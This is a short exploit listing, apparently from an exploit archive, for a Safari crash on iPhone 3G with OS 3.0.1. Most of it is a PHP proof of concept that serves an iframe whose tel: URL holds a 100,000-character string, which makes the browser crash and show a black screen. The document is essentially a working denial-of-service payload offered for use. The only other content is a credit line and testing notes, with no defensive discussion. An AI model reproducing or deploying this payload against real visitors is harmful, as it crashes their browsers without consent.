iPhone Safari Crash Exploit

`# Apple Safari Iphone Crash using tel:  
# Found by cloud : cloud[at]madpowah[dot]org  
# http://blog.madpowah.org  
  
# Tested on Iphone 3G, OS 3.0.1  
# Launch Safari, enter the page and after a few seconds Safari will crash and black screen will appear  
  
# Exploit:  
  
<?php  
set_time_limit(0);  
$var = "";  
for ($i=0; $i<100000; $i++){  
$var = $var . "A";  
}  
echo '<iframe src="tel:' . $var .'"></iframe>';  
?>   
  
`